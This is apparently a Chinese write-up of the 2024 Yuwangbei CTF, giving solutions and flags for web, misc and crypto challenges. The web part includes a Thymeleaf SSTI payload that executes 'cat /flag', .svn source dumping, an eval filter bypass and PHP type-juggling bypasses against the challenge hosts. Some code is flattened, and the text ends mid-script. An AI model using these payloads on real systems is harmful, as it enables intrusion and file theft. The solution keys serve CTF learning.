第八届2024御网杯WP

news/2024/12/21 23:42:41/文章来源:https://www.cnblogs.com/backlion/p/18446972

WEB

input_data

使用工具https://github.com/kost/dvcs-ripper

./rip-svn.pl -u http://101.200.58.4:10005/.svn

下载下来.svn目录
然后查看结构发现几个文件

cd进去目录,然后cat 文件名字即可看到 flag{5674938f-803d-4c41-8f84-a77f5164bb4f}

Flag: flag{5674938f-803d-4c41-8f84-a77f5164bb4f}

admin

先通过越权访问到admin,访问路径如下

/;/admin

然后bp字典枚举出传参数path测试出ssti, 经过测试发现需要打java视图操作ssti
payload如下

http://101.200.58.4:3333/;/admin?path=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat%20/flag%22).getInputStream()).next()%7d__::x

成功命令执行:

Flag:flag{5d28c6ce-fede-498a-9053-6fe53f54f7d3}

flask

题目源码如下

from flask import Flask, request, Response
import reapp = Flask(__name__)@app.route('/')
def index():evalme = request.args.get('evalme')if ((not evalme) or re.search(r'[A-Zd-z\\. /*$#@!+^]', evalme)):return 'hacker?'a=eval(evalme)print(1)with open(a, 'rb') as f:return Response(f.read())if __name__ == '__main__':app.run(port=8081,debug=True)

由于禁用了字母,但是abc还可以构造格式化字符串,其实还可以用unicode字符绕过,即使没有abc
命令如下 格式化字符串构造文件名字/flag 通过字典取值得到

/?evalme=[a:=%22%c%c%c%c%c%22%(47,102,108,97,103)][-1]


如此多的FLAG

源码中找到下一层文件F1aaj.php

cookie中找到题目下一层的文件/FLLL4g.php

FLLL4g.php访问源码如下

<?php 
if (isset($_GET['X'])) { $temp = $_GET['X']; is_numeric($temp) ? die("no numeric") : NULL; if ($temp > 9999) { echo "Pupil.</br>"; } else { die("NO!NO!NO!"); } 
} 
else { die("Where is X?"); 
} if (isset($_GET['Y'])) { $md5 = $_GET['Y']; if ($md5==md5($md5)) { echo "Junior school student.</br>"; } else { die("NO!NO!NO!"); } 
} 
else { die("Where is Y?"); 
} if (isset($_GET['Z'])) { $content = $_GET['Z']; if (strlen($content) >= 60) { die("No long!"); } $blacklist = [' ', '\'', '"', '`', '\[', '\]', '\{',  '}', '\t', '\r', '\n']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("NO!NO!NO!"); } } $security = ['abs', 'base_convert', 'cos', 'dechex', 'exp', 'f1ag', 'getrandmax', 'hexdec', 'is_nan', 'log', 'max', 'octdec', 'pi', 'sin', 'tan']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $security)) { die("NO!NO!NO!"); } } eval('echo '.$content.';'); if(isset($f1ag)){ if($f1ag == "flag"){ echo "Senior high school student.</br>"; echo "Here_is_flag!!!!!!!"; } } else{ echo "NO!NO!NO!"; } } 
else { die("Where is Z?"); 
} 
?>

第一种方法
第一步先绕过is_numeric,用数组即可
第二步md5绕过网上一搜一大把
X[]=10000&Y=0e215962017&Z=log($f1ag=0)

第三步可以用 0来绕过,log函数就可以X[]=10000&Y=0e215962017&Z=log($f1ag=0)


或者使用cos函数也可以 X[]=10000&Y=0e215962017&Z=cos($f1ag=0)


Misc:

信息安全大赛的通知

打开后换颜色即可看到flag

多重编码

附件:

编码1:++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>++++++.>----.<-----.>-----.>-----.<<.+.<<<+++++++.------.>>>+.+.---.<<<.编码2:([](!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+([](!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(![]+[])[+[]]+[!+[]+!+[]]+[+!+[]]编码3:Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook!
Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook?
Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook.
Ook! Ook. Ook! Ook. Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook!
Ook! Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook. Ook? Ook.

第一段 JSFUCK 解密:flag{ab71cda1

都二段 控制台解码:b495e13b3f21

第三段Ook解密:f6fd50221978}

flag{ab71cda1b495e13b3f21f6fd50221978}

bluetooth

全局搜索flag发现zip并有ke密钥

发现有明显的压缩包 以及flag.txt文档
还有个key的密钥
将压缩包导出
导出压缩包
这里有人不知道如何把这两个文件导出  我简单说一下
第一种
将流量包文件改成zip之类的压缩包格式 进行解压分离提取
第二种
直接将流量包文件用相关命令进行分离
第三种
打开流量包找到存在关键字的原始数据 复制导入16进制文件 需改文头尾 得到压缩包
注意
这里有很多人得到压缩包 发现文件受损 打不开  这里你换一个解压软件就可以
得到密文和密钥:

flag.txt:
10004583275926070044326083910251708233320797779355779208703097816305188140191914132269450797
Key:5216294695211820293806247029887026154798297270637676463374801674229881314620340407569315152

这就是密文和密钥

10进制转16进制 脚本

def hex(number):hex_str = hex(number)[2:]if len(hex_str) == 1:hex_str = '0' + hex_strreturn hex_strif __name__ == "__main__":number = int(input("input: "))hex_representation = hex(number)print(f"{number}的16进制表示为: {hex_representation}")

密文

4e94dcdb6de87e65d263419ec45aec93e8a2e1d386b31fb804e0f02366df44dbe86a8a7c462d

密钥 

28f8bdbc16de4850e05579acf33c8aa08ac3d9e6e3822b8c3081c04700eb25b88a08eb457550

进行异或
# 定义加密后的密文和密钥的十六进制字符串  
txt = "4e94dcdb6de87e65d263419ec45aec93e8a2e1d386b31fb804e0f02366df44dbe86a8a7c462d"
key = "28f8bdbc16de4850e05579acf33c8aa08ac3d9e6e3822b8c3081c04700eb25b88a08eb457550"
 
# 将十六进制字符串转换为字节对象
ciphertext_bytes = bytes.fromhex(txt)
key_bytes = bytes.fromhex(key)
 
# 使用逐字节异或进行解密
# 注意:这里假设密钥和密文长度相同,否则zip会截断到较短的长度
decrypted_bytes = bytes([c ^ k for c, k in zip(ciphertext_bytes, key_bytes)])
 
# 尝试将解密后的字节对象解码为字符串,忽略无法解码的字节
# 这里假设解密后的字节能够大部分解码为有效的UTF-8字符
print(decrypted_bytes.decode(errors="ignore"))
 
# 打印解密后的字符串(这行代码其实和上面的print是重复的,但保留以展示意图)
# print(decrypted_bytes.decode(errors="ignore"))

得到flag{66526827ff3ba85e1444a0df4acbba93}


# 定义两个非常大的整数,flag 和 key  

flag = 10004583275926070044326083910251708233320797779355779208703097816305188140191914132269450797  

key = 5216294695211820293806247029887026154798297270637676463374801674229881314620340407569315152  

  

# 将 flag 和 key 转换为十六进制字符串,并去掉前缀 '0x'  

flag_hex = hex(flag)[2:]  

key_hex = hex(key)[2:]  

  

# 确定 flag_hex 和 key_hex 中较长者的长度,以便进行零填充  

max_length = max(len(flag_hex), len(key_hex))  

  

# 使用零填充较短的十六进制字符串,使其与较长的字符串长度相同  

flag_hex = flag_hex.zfill(max_length)  

key_hex = key_hex.zfill(max_length)  

  

# 将填充后的十六进制字符串转换为字节对象  

flag_bytes = bytes.fromhex(flag_hex)  

key_bytes = bytes.fromhex(key_hex)  

  

# 对 flag_bytes 和 key_bytes 进行逐字节的异或操作  

# 使用列表推导式和 zip 函数来遍历两个字节对象的对应位置,并对它们进行异或操作  

flag_xor = bytes([f ^ k for f, k in zip(flag_bytes, key_bytes)])  

  

# 打印异或操作的结果  

# 注意:这个结果是一个字节对象,可能无法直接作为可读文本打印(除非它仅包含可打印字符)  

# 你可以将其再次转换为十六进制字符串来查看  

print(flag_xor.hex())  

  

# 如果你想要查看原始的字节表示(作为十六进制字符串,但带有空格分隔),可以这样做:  

print(' '.join(f'{byte:02x}' for byte in flag_xor))


Coding

观察给的文件

936544a55314a7e4339545f47776a6e41315a7d41325743575655455b4478516a6537416
谜底就是flag,希望大家享受解码的过程。

直接用赛博厨子,html解码,逆序,16进制解码,base64解码即可

凯撒爆破:


Crypto

不小心

题目:
39
 
1
# coding:utf-8
2
# python 3.6
3
 
4
from flag import flag
5
import re
6
 
7
 
8
s = "fst3Sem8Wgnobcd9+++++uv2JKpUViFGHz0QRMyjkA7NaBC14wXYxh5OP/DEqrZIl6LT"
9
  
10
assert re.match(r'^DASCTF\{[a-f0-9]+\}$',flag) != None
11
 
12
def encode(inputs):
13
    bin_str = []
14
    for i in inputs:
15
        x = str(bin(ord(i))).replace('0b', '')
16
        bin_str.append('{:0>8}'.format(x))
17
    outputs = ""
18
    nums = 0
19
    while bin_str:
20
        temp_list = bin_str[:3]
21
        if (len(temp_list) != 3):
22
            nums = 3 - len(temp_list)
23
            while len(temp_list) < 3:
24
                temp_list += ['0' * 8]
25
        temp_str = "".join(temp_list)
26
        temp_str_list = []
27
        for i in range(0, 4):
28
            temp_str_list.append(int(temp_str[i * 6:(i + 1) * 6], 2))
29
        if nums:
30
            temp_str_list = temp_str_list[0:4 - nums]
31
        for i in temp_str_list:
32
            outputs += s[i]
33
        bin_str = bin_str[3:]
34
    outputs += nums * '='
35
    return outputs
36
    
37
c = encode(flag)
38
print(c)
39
# +Se++h+mF5u0d++Oc++RbQJYbyuMb++0cYuQc+SwdmK0d+fwcYRYG+==
原题目脚本注释

这里我们来分析一下 题目脚本(我直接在脚本中给出注释)

59
 
1
# 编码设置和导入必要的库  
2
# coding:utf-8  # 指定文件编码为utf-8  
3
# python 3.6  # 注释说明该脚本应在Python 3.6环境下运行,但实际上这行对Python解释器没有实际作用  
4
 
5
from flag import flag  # 从flag模块中导入flag变量,假设flag模块中定义了flag变量,存储了CTF比赛的flag  
6
import re  # 导入正则表达式库  
7
 
8
# 给定的字符串,用于编码过程中的映射  
9
s = "fst3Sem8Wgnobcd9+++++uv2JKpUViFGHz0QRMyjkA7NaBC14wXYxh5OP/DEqrZIl6LT"
10
 
11
# 使用正则表达式断言flag的格式,确保flag以DASCTF{开头,后跟一串十六进制数字,以}结尾  
12
assert re.match(r'^DASCTF\{[a-f0-9]+\}$', flag) != None
13
 
14
 
15
def encode(inputs):
16
    """  
17
    将输入的字符串(假设为flag)进行编码。  
18
    编码过程:  
19
    1. 将每个字符转换为二进制字符串,并填充至8位。  
20
    2. 每3个二进制字符串(共24位)合并,然后每6位一组转换为十进制数。  
21
    3. 使用s字符串中对应位置的字符替换这些十进制数。  
22
    4. 如果最后不足3个二进制字符串,则补零至3个,并相应地减少输出的字符数(用'='表示)。  
23
    """
24
    bin_str = []  # 存储每个字符的二进制表示(填充至8位)  
25
    for i in inputs:
26
        x = str(bin(ord(i))).replace('0b', '')  # 将字符转换为二进制字符串,并去除前缀'0b'  
27
        bin_str.append('{:0>8}'.format(x))  # 填充至8位  
28
 
29
    outputs = ""  # 存储编码后的字符串  
30
    nums = 0  # 记录需要补零的二进制字符串数量  
31
 
32
    while bin_str:
33
        temp_list = bin_str[:3]  # 每次取3个二进制字符串  
34
        if len(temp_list) != 3:  # 如果不足3个,则记录需要补零的数量  
35
            nums = 3 - len(temp_list)
36
            # 注意:这里的补零逻辑实际上在后续处理中被忽略了,因为temp_list直接用于处理  
37
            # 理论上应该在这里补零,但代码中没有实现,可能是个遗漏  
38
 
39
        temp_str = "".join(temp_list)  # 合并3个二进制字符串  
40
        temp_str_list = []  # 存储每6位二进制转换成的十进制数  
41
        for i in range(0, 4):  # 每6位一组进行转换(因为24位/6位=4组)  
42
            temp_str_list.append(int(temp_str[i * 6:(i + 1) * 6], 2))  # 转换为十进制  
43
 
44
        if nums:  # 如果需要补零,则减少输出的字符数  
45
            temp_str_list = temp_str_list[0:4 - nums]
46
 
47
        for i in temp_str_list:  # 使用s字符串中的字符替换这些十进制数  
48
            outputs += s[i]
49
 
50
        bin_str = bin_str[3:]  # 处理下一个3个二进制字符串  
51
 
52
    outputs += nums * '='  # 使用'='表示补零的数量(但这里的实现可能不完全准确,因为补零逻辑未完全实现)  
53
    return outputs
54
 
55
 
56
# 对flag进行编码并打印结果
57
c = encode(flag)
58
print(c)  # 输出编码后的字符串  
59
# +Se++h+mF5u0d++Oc++RbQJYbyuMb++0cYuQc+SwdmK0d+fwcYRYG+==

“+”有多个,就需要爆破一下

其实这里一个小漏洞

我们看他自己给的脚本中有DASCTF的字样 这足以证明这道题是之前的原题(这里说明主办方有点懒呀 无意冒犯 哈哈哈) (是2022河北银行CTF的原题 )

所以脚本直接照搬加以修改也可以(注释)
82
 
1
# coding:utf-8
2
# Python 3.6
3
 
4
# 自定义编码函数,将输入字符串转换为基于特定字符串 s 的编码
5
def encode(inputs):
6
    bin_str = []
7
    for i in inputs:
8
        # 将字符转换为二进制字符串,并去掉前缀 '0b',然后填充至8位
9
        x = '{:08b}'.format(ord(i))
10
        bin_str.append(x)
11
    outputs = ""
12
    nums = 0
13
    while bin_str:
14
        # 每组处理3个二进制字符串(不足时用'0'填充至8位后的全0字符串代替)
15
        temp_list = bin_str[:3]
16
        if len(temp_list) != 3:
17
            nums = 3 - len(temp_list)
18
            while len(temp_list) < 3:
19
                temp_list.append('0' * 8)  # 直接添加8个0的字符串,而不是列表
20
        temp_str = "".join(temp_list)
21
        # 从每24位二进制中提取4个6位的部分,转换为十进制索引
22
        temp_str_list = [int(temp_str[i * 6:(i + 1) * 6], 2) for i in range(4)]
23
        if nums:
24
            temp_str_list = temp_str_list[:4 - nums]  # 如果不足3个二进制字符串,则截取前面的部分
25
        # 使用索引从字符串 s 中选择字符,并构建输出
26
        for i in temp_str_list:
27
            outputs += "fst3Sem8Wgnobcd9+++++uv2JKpUViFGHz0QRMyjkA7NaBC14wXYxh5OP/DEqrZIl6LT"[i]
28
        bin_str = bin_str[3:]
29
        # 如果不是3的倍数,则添加 '=' 填充
30
    outputs += '=' * nums
31
    return outputs
32
 
33
 
34
# 模拟解码 Base64 的过程(实际上并未直接使用 Base64 解码,而是利用了自定义的 s 字符串)
35
s = "fst3Sem8Wgnobcd9+++++uv2JKpUViFGHz0QRMyjkA7NaBC14wXYxh5OP/DEqrZIl6LT"
36
h = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
37
c = '+Se++h+mF5u0d++Oc++RbQJYbyuMb++0cYuQc+SwdmK0d+fwcYRYG+'
38
m = ''
39
for i in c:
40
    # 通过查找 c 中每个字符在 s 中的索引,用该索引从 Base64 字符集 h 中选择字符
41
    m += h[s.index(i)]
42
print("模拟解码结果:", m)
43
 
44
# 递归函数,用于解密特定的 Base64 字符串
45
from base64 import b64decode
46
import string
47
 
48
ss = b'0123456789abcdef-_{}'
49
 
50
 
51
def aaa(idx, mm):
52
    if idx >= 4:
53
        try:
54
            # 尝试 Base64 解码
55
            t = b64decode(mm)
56
        except:
57
            return
58
            # 检查解码后的每个字节是否在允许的字符集 ss 中
59
        if all(v in ss for v in t):
60
            print("解码成功:", t.decode())  # 解码后可能需要转为字符串输出
61
        return
62
    if mm[idx] == 'Q':
63
        # 替换 'Q' 为 'QRSTU' 中的一个字符,并递归处理
64
        for v in "QRSTU":
65
            aaa(idx + 1, mm[:idx] + v + mm[idx + 1:])
66
    else:
67
        # 继续递归处理下一个字符
68
        aaa(idx + 1, mm)
69
 
70
    # 解密过程
71
 
72
 
73
m = 'QEFQQ1QGezc4YWQhMQEzZQcwOWZkZjEyYQVhYQQhYQVkZDYyZQMzfQ=='
74
m = m[8:]  # 去掉前缀 'QEFQQ1Q',可能是为了减少搜索空间或符合特定条件
75
 
76
# 分块处理 Base64 字符串
77
for v in range(0, len(m), 4):
78
    print('---------', v, m[v:v + 4])
79
    aaa(0, m[v:v + 4])
80
 
81
# 预期输出: DASCTF{78ada113e709fdf12a5aa4aa5dd62e33}
82
# 注意:这个输出是预期值,实际输出取决于 m 的内容和递归函数的实现

得到FLAG

DASCTF{78ada113e709fdf12a5aa4aa5dd62e33}


Justmath

题目一个函数图像 一个脚本

原脚本注释

59
 
1
# 导入必要的库  
2
from gmpy2 import *  # 导入GMPY2库,用于高精度算术  
3
from Crypto.Util.number import *  # 导入Crypto库的实用程序,用于数字加密和数学函数  
4
from secret import FLAG,x,y  # 假设这是一个包含FLAG(待解密的消息)、x和y(可能是某个函数的变量和表达式)的模块  
5
import sympy  # 导入SymPy库,用于符号数学  
6
import pylab  # 导入pylab,通常用于绘图,但在这个上下文中可能不太必要  
7
  
8
# 定义calc函数,可能用于演示或测试符号求导和绘图  
9
def calc():  
10
    y1 = sympy.diff(y,x)  # 对y关于x求一阶导数  
11
    y2 = sympy.diff(y1,x)  # 对y1(即y的一阶导数)关于x求二阶导数  
12
    v1,v2,v3 = [],[],[]  # 初始化三个列表,用于存储计算结果  
13
    for i in FLAG:  # 遍历FLAG中的每个字符(这里假设FLAG被转换为数字列表)  
14
        v1.append(y.subs('x',i))  # 将y中的x替换为FLAG中的当前数字,并将结果添加到v1  
15
    print('v1 =',v1[:34])  # 打印v1的前34个元素  
16
    for i in v1:  
17
        v2.append(y1.subs('x',i))  # 将y1中的x替换为v1中的当前值,并将结果添加到v2  
18
    print('v2 =',v2[:2])  # 打印v2的前两个元素  
19
    for i in v2:  
20
        v3.append(y2.subs('x',i))  # 将y2中的x替换为v2中的当前值,并将结果添加到v3  
21
    print('v3 =',v3[:2])  # 打印v3的前两个元素  
22
    pylab.plot(v2,v3)  # 使用pylab绘制v2和v3的图形  
23
    pylab.show()  # 显示图形  
24
  
25
# 定义rsam函数,生成RSA密钥对并加密FLAG  
26
def rsam():  
27
    m = bytes_to_long(FLAG)  # 将FLAG(假设为字节串)转换为长整型数字  
28
    while True:  
29
        try:  
30
            p = getPrime(768)  # 生成一个768位的质数p  
31
            q = getPrime(768)  # 生成另一个768位的质数q  
32
            n = p*q  # 计算n = p*q,用于RSA模  
33
            e = 3  # 使用小整数e=3作为公钥的一部分(在实际应用中,e应选择与phi(n)互质的大整数)  
34
            phi = (p-1)*(q-1)  # 计算欧拉函数phi(n)  
35
            d = invert(e,phi)  # 计算e关于phi的模逆d,用于私钥  
36
            c = pow(m,e,n)  # 使用公钥(e,n)加密m  
37
            print('n =',n)  # 打印公钥和密文的一部分  
38
            print('e =',e)  
39
            print('c =',c)  
40
            break  # 跳出循环  
41
        except:  
42
            pass  # 如果生成质数或计算过程中发生错误,则忽略并继续尝试  
43
  
44
# 定义main函数,按顺序调用rsam和calc  
45
def main():  
46
    rsam()  # 调用rsam函数以生成RSA密钥对并加密FLAG  
47
    calc()  # 调用calc函数以进行符号求导和绘图(与RSA加密无关)  
48
  
49
if __name__ == '__main__':  
50
    main()  # 如果此脚本作为主程序运行,则调用main函数  
51
  
52
# 给出的RSA参数和计算结果  
53
# ...(这里列出了n, e, c, v1, v2, v3的值,这些值用于验证或进一步分析)
54
n = 2260375559104345425590426977960386256287009777233277062625487017885931446911942921201492850167115455071935831283269948569220356763988762825230315520633702443866690239945242948370781975714325308306543337600783340792458991506685843729962897796956171467876531084194426101796617903015810156717396227079274786269217370618477266867389155551378798713259843750289765858717627925689021561352438080039804957145513478767641674644346609224034274906228784593435462413278410143
55
e = 3
56
c = 1683427726786225271109289808778075351906457081282891335272956455076290407290946927840180672315908981114229434899424882579823897506730018911375238394076293908946844135295984336122170362703361647325169444373502665686779049846717305377396296752361918921007897449738856962248716579014267597667341690453460130215215256776249910808564677407383996700090361822122676428069577517468851642648993930679875398568383201032360229083338487146673018350740571719960730053254352184
57
v1 = [3149069, 2271689, 2337632, 3068562, 67697, 2337632, 3068562, 67697, 2143547, 2543093, 1844472, 2206998, 67697, 1844472, 2686547, 2020317, 67697, 3149069, 2271689, 2081324, 67697, 2143547, 2543093, 1844472, 2206998, 67697, 2337632, 3068562, 67697, 2143547, 2543093, 1844472, 2206998, 3752378]
58
v2 = [59499825996845, 30963434563085]
59
v3 = [713997911962144, 371561214757024]

编写脚本

第一部分:使用SageMath解方程恢复部分flag

24
 
1
# 引入SageMath的solve函数用于解方程  
2
from sage.symbolic.relation import solve
3
 
4
# 定义变量x  
5
x = var('x')
6
 
7
# y_value列表包含了通过某种方式(可能是符号函数在特定x值下的结果)得到的值  
8
y_value = [3149069, 2271689, 2337632, 3068562, 67697, 2337632, 3068562, 67697, 2143547, 2543093, 1844472, 2206998, 67697, 1844472, 2686547, 2020317, 67697, 3149069, 2271689, 2081324, 67697, 2143547, 2543093, 1844472, 2206998, 67697, 2337632, 3068562, 67697, 2143547, 2543093, 1844472, 2206998, 3752378]  # 省略了中间的值以节省空间
9
 
10
# 初始化flag字符串  
11
flag = ""
12
 
13
# 遍历y_value列表中的每个值  
14
for i in y_value:
15
    # 构造一个三次方程,使其等于y_value中的当前值  
16
    equation = 2 * x ^ 3 + 2 * x ^ 2 + 3 * x + 17 == i
17
    # 解这个方程  
18
    solutions = solve(equation, x)
19
    # 假设方程有三个解,取第三个解(注意:这里假设了解的顺序和存在性)  
20
    # 并将该解转换为字符后添加到flag字符串中  
21
    flag += chr(solutions[2].rhs())
22
 
23
# 打印恢复的flag部分  
24
print(flag)
第二部分:使用RSA和Coppersmith的小根数攻击恢复剩余的flag
28
 
1
# 引入Crypto.Util.number中的函数
2
from Crypto.Util.number import *
3
 
4
# 已知flag的一部分(前缀)
5
flag = b"this is flag and the flag is flag{"
6
 
7
# RSA的公钥参数:模n和指数e
8
n = 2260375559104345425590426977960386256287009777233277062625487017885931446911942921201492850167115455071935831283269948569220356763988762825230315520633702443866690239945242948370781975714325308306543337600783340792458991506685843729962897796956171467876531084194426101796617903015810156717396227079274786269217370618477266867389155551378798713259843750289765858717627925689021561352438080039804957145513478767641674644346609224034274906228784593435462413278410143  # 省略了具体的大数值以节省空间
9
e = 3
10
c = 1683427726786225271109289808778075351906457081282891335272956455076290407290946927840180672315908981114229434899424882579823897506730018911375238394076293908946844135295984336122170362703361647325169444373502665686779049846717305377396296752361918921007897449738856962248716579014267597667341690453460130215215256776249910808564677407383996700090361822122676428069577517468851642648993930679875398568383201032360229083338487146673018350740571719960730053254352184  # 省略了具体的密文大数值以节省空间
11
 
12
# 定义模n的多项式环
13
R. < x > = PolynomialRing(Zmod(n))
14
 
15
# 尝试使用Coppersmith的小根数攻击来找到m(原始消息)
16
# 由于我们知道flag的一部分,我们可以尝试通过不断添加'\x00'(即0字节)来扩展这个前缀
17
# 然后我们尝试找到满足(m + x)^e - c = 0的小x值
18
for i in range(40):  # 尝试不同的扩展长度
19
    mhigh = bytes_to_long(flag + b"\x00" * 32 + b"}")  # 构造一个可能的高位m值
20
    f = (mhigh + x) ^ e - c  # 构造多项式
21
    # 使用small_roots方法尝试找到多项式的小根
22
    # 参数X指定了搜索的界限,beta和epsilon影响搜索的精度和性能
23
    res = f.small_roots(X=256 ^ i, beta=0.4, epsilon=0.05)
24
    if res != []:  # 如果找到了根
25
        # 将找到的小根值加到mhigh上,得到可能的m值
26
        m = mhigh + int(res[0])
27
        # 将m值转换回字节串并打印
28
        print(long_to_bytes(m))

得到flag

flag{0f5a1806d07f030767e113352727ea2d}

BASE

题目

这个提示已经很明显了 直接写到的文件名 说白了还是套娃的编码

有工具就直接梭哈  没工具就一个一个试

chgdchg5clctclcxclc5cdc9chcdcdc9chctchglcdc9chclclcdclcpchchchgdchg5clg5chg9clcpchclcdcdchg9chg5chctclc9chghclchchclclcpclchchghchg5clcpcdclchcpchclcdc9clcdcdc9chglchg5chg5chctcdc9clchclcdchclchgdchcpcdclchclcdc9chghclcdchg5chctclcpchctclclchgpclclchgdclcBchgdchcpchgdclclcdc9chglchcdclg5chglchg5clctchctclctclchchgdchglchg9clcpcdchchcpclclclcpcdc9chg9chcxchclcdghcdghcdghcdghcdghcdgh
中间需要过度一下base62  (别问工具为什么不能直接搜哈 要么格式 要么不完善 这就需要你去开发了)

 提供在线网址

base编码解码-base64、base32、base16加密与解密 - 在线工具

base编码解码工具能够将普通的文字转为base32、base16、base58、base91、base85、base64、base36、base62等编码字符,还能够将这些base编码加密的字符重新解码转换为正常文字.

https://www.wqtool.com/basecode

4C4A575851324332474E32455356444C4A5A4B5645334B4A47524D544556544D4A563546453253324E4A4A47325453454C463545324D534A475647554F554C594C464C55324E435A4E4A574757544C4E4B5634465556324B48453D3D3D3D3D3D

然后继续梭哈


flag{HNCTFb8cee34cf4f4633b90d1ac8b9d2e1eb}  这题八成也是之前的原题
总结套娃层
1 base100-->2 base64-->3 base85(ASCII85)-->4 base91-->5 base62-->6 hex-->7 base32-->8 base64

easy_crypto1

RSA才是密码的主导 能把所有攻击模式和理论掌握并可以熟练掌握编写脚本  芜湖起飞

这个题也是之前的原题 (攻防世界 crypto---simpleRSA wp)

题目

52
 
1
#!/usr/bin/env python3.9
2
# -*- coding: utf-8 -*-
3
import gmpy2
4
from Crypto.Util.number import getPrime, isPrime, bytes_to_long
5
from secret import FLAG, E1, E2, P, Q1, Q2
6
 
7
 
8
def next_prime(num: int) -> int:
9
    num = num + 2 if num % 2 else num + 1
10
    while not isPrime(num):
11
        num += 2
12
    return num
13
 
14
 
15
p = getPrime(1024)
16
q = next_prime(getPrime(16) * p + 38219)
17
n = p * q
18
c = pow(E1, 65537, n)
19
print(f'n = {n}')
20
print(f'c = {c}')
21
# n = 1605247600724752598798254639224215706171506359654961357324428027985787942008103766562745464838961569081446916113769517713344420113584254259000172572811154232107339480903672251992191997458469905064423618888336088652352540882576826988355783159237971043770132628344798937353150930071309347972804118952814447576207066147031238749098842662046825743988208813903138796789940911515825517078554074496474819128789835309636804325132602557092847746454786387067599510769382078521691609970320528531270474091713477040343897269903489441410062592732302402854035415438078656688806905350495825334584533345448091335565792091890185673190424063
22
# c = 751639057610677013264061431434189083017589908118307247217007533938435229431015858783222167911772848893015518607229280589985711010766459396989232072512314594917029375221335361209036112742388866873824163350886610514973038316512032459352053158417705406031466332440378871927174731975794579894912999936641163063898365134788537389162378185448090279397717831977803284480743612393591614284972981435749362255654561121758163485884075260156288337176713756471879489767416836868661153693157792733142765671887792303181376620864506386820826866340907593080654521498766421056474652652337037121881207188033108746890998208582406826010121861
23
 
24
assert E2.bit_length() == 69
25
ns = [getPrime(1024) * getPrime(1024) for _ in range(3)]
26
cs = [pow(E2, 89, n) for n in ns]
27
print(f'ns = {ns}')
28
print(f'cs = {cs}')
29
